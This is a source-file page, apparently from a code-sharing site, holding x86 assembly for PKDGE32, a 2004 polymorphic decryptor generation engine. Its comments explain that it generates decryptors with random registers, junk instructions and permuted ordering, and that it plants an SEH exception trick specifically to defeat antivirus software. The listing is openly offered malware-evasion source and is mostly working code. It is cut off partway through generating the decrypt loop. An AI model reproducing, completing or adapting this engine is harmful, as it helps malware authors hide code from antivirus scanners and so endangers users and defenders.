📄 pkdge32.inc
字号:
;
; pker's Decryptor Generation Engine for Win32 (PKDGE32)
; ======================================================
;
;
; Description
; -----------
;
; I wanted to code a polymorphic engine when I first started coding this. Then
; I got the idea of generating decrypt code dynamically instead of morphing the
; original decrypt code. The generated decryptor uses random registerz, with
; junk code inserted, and it's instruction-permutable. When coding, I found
; that the name 'decrypt generation engine' is more appropriate than a poly-
; morphic engine, so I renamed it to PKDBE32.
;
; Generally, the decrypt code looks like the following:
;
; mov Rw,offset code2decrypt ; (1)
; mov Rz,decrypt_size ; (2)
; decrypt_loop: xor byte [Rw],imm8 ; (3)
; inc Rw ; (4)
; dec Rz ; (5)
; jnz decrypt_loop ; (6)
;
; As we can see, I used Rx, Ry, Rz in the code above, instead of EAX, EBX, ...
; this means the we can use random registerz in the decrypt code. The engine
; can select random registerz to generate each instruction. Meanwhile, the
; first 2 instructionz are permutable, so the engine will put the 2 instruc-
; tionz in a random order. Also, we know that some of the instructionz can be
; replaced by other instructionz that performed the same. For example, we can
; use PUSH/POP to replace MOV XXX/XXX, etc. Last but important, is, the engine
; will insert junk codez after each instructionz.
;
; One more thing, the engine setup a SEH frame before the decrypt code in order
; to fuck some AVsoftz. And of course, there're also junk codez between these
; instructionz.
;
; The SEH frame's like the following code:
;
; start: call setup_seh ; (1)
; mov esp,[esp+8] ; (2)
; jmp end_seh ; (3)
; setup_seh: xor Rx,Rx ; (4)
; push dword [fs:Rx] ; (5)
; mov [fs:Rx],esp ; (6)
; dec dword [Rx] ; (7)
; jmp start ; (8)
; end_seh: xor Ry,Ry ; (9)
; pop dword [fs:Ry] ; (10)
; pop Rz ; (11)
;
; Then comes the real decrypt code (generated by this engine).
;
;
; How to use it?
; --------------
;
; This engine can compile with FASM, TASM and MASM, etc.
;
; When using FASM we can:
;
; decryptor: times 40h db 90h
; crypt_code: ...
; crypted_size = $-crypt_code
; rng_seed dd ?
;
; gen_decrytpor: mov edi,decryptor
; mov esi,rng_seed
; mov ebx,crypt_code
; mov ecx,crypted_size
; mov edx,9ah
; call __pkdge32
;
; When using TASM or MASM we should:
;
; decryptor db 40h dup (90h)
; crypt_code: ...
; crypted_size = $-crypt_code
; rng_seed dd ?
;
; gen_decrytpor: mov edi,offset decryptor
; mov esi,offset rng_seed
; mov ebx,offset crypt_code
; mov ecx,crypted_size
; mov edx,9ah
; call __pkdge32
;
; One more feature, the engine returns the address of the code2decrypt field in
; the decryptor, so we can fix this value after generating the decryptor. This
; means we can replace the code which to be decrypt anywhere after generating
; the decrypt code. We can replace our code which to be decrypted just after
; the decryptor, without padding so many NOPz between them :P
;
; We could code like this:
;
; col_code: times crypted_size+200h db 0
;
; gen_decrytpor: mov edi,col_code
; mov esi,rng_seed
; mov ecx,crypted_size
; mov ebx,12345678h
; mov edx,12345678h
; call __pkdge32
; fix_address: mov esi,edi
; xchg eax,edi
; stosd
; xchg esi,edi
; copy_code: mov esi,crypt_code
; mov ecx,crypted_size
; rep movsb
;
; Well, enjoy it!
;
;
; Copyright
; ---------
;
; (c) 2004. No rightz reserved. Use without permission :P.
;
;
; __pkdge32 procedure
; ===================
;
;
; Description
; -----------
;
; This is the main procedure of the engine. It controlz the whole generation
; process, including SEH setup, instruction generation, junk code insertion,
; etc.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
; ecx --- decrypt buffer size (counter in bytez)
; edx --- decrypt key
; edi --- pointz to the buffer to save decryptor
; ebx --- pointz to the buffer where saved the encrypted code
; esi --- pointz to the RNG seed buffer
;
; Output:
; edi --- the end of the decryptor
; eax --- pointz to the address of the code which will be decrypted in
; the decryptor, this means we can place the code which will be
; decrypted anywhere by fixing the value pointed by EAX
;
__pkdge32: pushad
xor ebp,ebp
xchg esi,edi ; initialize the RNG seed
call __randomize ; ...
xchg esi,edi ; ...
;
; First, we select four random registerz for later use. These four registerz
; are all different
;
xor ebx,ebx ; used to save Rw, Rz, Rx, Ry
call pkdg_sel_reg
or bl,al
call pkdg_sel_reg
shl ebx,4
or bl,al
call pkdg_sel_reg
shl ebx,4
or bl,al
call pkdg_sel_reg
shl ebx,4
or bl,al
;
; We setup a SEH frame, then we raise an exception and run the following codez.
; This action may fuck some of the AVsoftz.
;
push edi
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov al,0e8h ; seh instruction 1
stosb ; ...
stosd ; addr 1, no matter what, fix l8r
push edi ; save addr1 to fix
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov eax,0824648bh ; seh instruction 2
stosd ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov al,0ebh ; seh instruction 3
stosb ; ...
stosb ; addr 2, no matter what, fix l8r
push edi ; save addr2 to fix
mov eax,[esp+4] ; fix addr1
xchg edi,eax ; ...
sub eax,edi ; ...
sub edi,4 ; ...
stosd ; ...
add edi,eax ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov ah,bl ; seh instruction 4
and ah,7 ; ...
or eax,0c031h ; ...
push ebx ; ...
and ebx,7 ; ...
shl ebx,11 ; ...
or eax,ebx ; ...
pop ebx ; ...
stosw ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov eax,0ff64h ; seh instruction 5
stosw ; ...
mov al,bl ; ...
and eax,7 ; ...
or al,30h ; ...
stosb ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov eax,8964h ; seh instruction 6
stosw ; ...
mov al,bl ; ...
and eax,7 ; ...
or al,20h ; ...
stosb ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov ah,bl ; seh instruction 7
and eax,700h ; ...
or eax,08ffh ; ...
stosw ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov al,0ebh ; seh instruction 8
stosb ; ...
mov eax,[esp+8] ; ...
sub eax,edi ; ...
dec eax ; ...
stosb ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
pop eax ; fix addr2
xchg eax,edi ; ...
sub eax,edi ; ...
dec edi ; ...
stosb ; ...
add edi,eax ; ...
mov ah,bh ; seh instruction 9
and eax,700h ; ...
or eax,0c031h ; ...
push ebx ; ...
and ebx,700h ; ...
shl ebx,3 ; ...
or eax,ebx ; ...
pop ebx ; ...
stosw ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov eax,8f64h ; seh instruction 10
stosw ; ...
mov al,bh ; ...
and eax,7 ; ...
stosb ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov al,bh ; seh instruction 11
and al,7 ; ...
or al,58h ; ...
stosb ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
add esp,8 ; balance the stack
;
; Now, generate the first two instructionz with junk codez between them, and
; permute the two instructionz in a random order.
;
mov ecx,2
call __random_rdtsc
or ecx,ecx
jz pkdg_gen_12
call pkdg_gen_1
call pkdg_gen_2
jmp pkdg_gen_f2f
pkdg_gen_12: call pkdg_gen_2
call pkdg_gen_1
;
; The last step, we generate the last four instructionz with junk codez in them
; these four instructionz must in the same order, but the registerz they use
; are still random
;
pkdg_gen_f2f: mov esi,[esp+4] ; restore ESI
push edi ; save loop address
push esi
mov eax,ebx ; xor byte [Rw],Imm8
shr eax,12 ; ...
and al,7 ; ...
mov esi,[esp+28] ; ...
call __pkdge32_gen_xor_reg_imm
pop esi
xor eax,eax
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -